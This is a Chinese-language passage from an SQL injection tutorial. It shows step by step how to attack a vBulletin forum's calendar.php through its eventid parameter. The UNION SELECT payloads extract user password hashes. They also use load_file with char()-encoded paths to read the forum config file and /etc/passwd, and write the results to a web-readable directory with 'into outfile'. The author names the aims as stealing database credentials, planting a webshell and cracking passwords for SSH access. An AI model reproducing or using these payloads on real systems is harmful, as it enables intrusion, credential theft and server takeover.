Advanced SQL Injection with MySQL

2019-01-03 13:42:55丽君

    }
    $GLOBALS = stripslashesarray($GLOBALS);
}

set_magic_quotes_runtime(0);

?>

  这段代码的作用就是如果magic_quotes_gpc打开,就去掉所有特殊字符的前面的转义字符,所以,不管php.ini里magic_quotes_gpc的状态如何,我们输入的单引号都没有影响的,大家可以放心注入。呵呵。

  我们知道,提交:

/calendar.php?action=edit&eventid=1 UNION SELECT 1, 1, 1, 1, username, password FROM user WHERE userid=1

  是可以获取用户名和密码MD5散列的,但是由于特殊原因,并没有显示出来,但凭我的经验,知道并没有构造错,所以我们可以读取并导出成文件。
  因为事先我无意中访问到了含有phpinfo()的文件,所以知道了WEB的绝对路径,从访问站点的结果,发现一个下载系统是生成HTML文件的,如果那个目录没有可写权限,是不能生成HTML文件的,不过这一切都不是本文的重点,我们现在掌握如下信息:

WEB绝对路径:/home/4ngel 可写目录路径:/home/4ngel/soft/ magic_quotes_gpc = on

  和主机root相比,论坛的admin根本就不算什么,我对论坛admin也不感兴趣,我们要读取论坛的配置文件还有/etc/passwd,知道MySQL的连接信息,可以从这里入手,写webshell或其他的东西,知道/etc/passwd我们可以跑密码。直接从ssh上去。

  VBB论坛的配置文件在/home/4ngel/forum/admin/config.php,转换成ASCII代码,提交:

calendar.php?action=edit&eventid=1 UNION SELECT 1, 1, 1, 1, 1, load_file(char(47, 104, 111, 109, 101, 47, 52, 110, 103, 101, 108, 47, 102, 111, 114, 117, 109, 47, 97, 100, 109, 105, 110, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104, 112)) FROM user WHERE userid=1 into outfile '/home/4ngel/soft/cfg.txt'

  呵呵,记得加一个where来定一个条件,否则如果论坛用户很多,那么导出的文件会相当大。或者干脆指定$eventid为一个不存在的值,就不用where了,就像这样:

calendar.php?action=edit&eventid=-1 UNION SELECT 1, 1, 1, 1, 1, load_file(char(47, 104, 111, 109, 101, 47, 52, 110, 103, 101, 108, 47, 102, 111, 114, 117, 109, 47, 97, 100, 109, 105, 110, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104, 112)) FROM user into outfile '/home/4ngel/soft/cfg.txt'

  /etc/passwd转换成ASCII代码,提交:

calendar.php?action=edit&eventid=-1 UNION SELECT 1,1,1,1,1, load_file (char(47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100)) FROM user into outfile '/home/4ngel/soft/etcpwd.txt'

  注意看到论坛的顶部,会出现下面的错误提示:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/4ngel/forum/admin/db_mysql.php on line 154

  经验告诉我们,文件导出成功了,提交:

http://www.xxxhost.cn/soft/cfg.txt
http://www.xxxhost.cn/soft/etcpwd.txt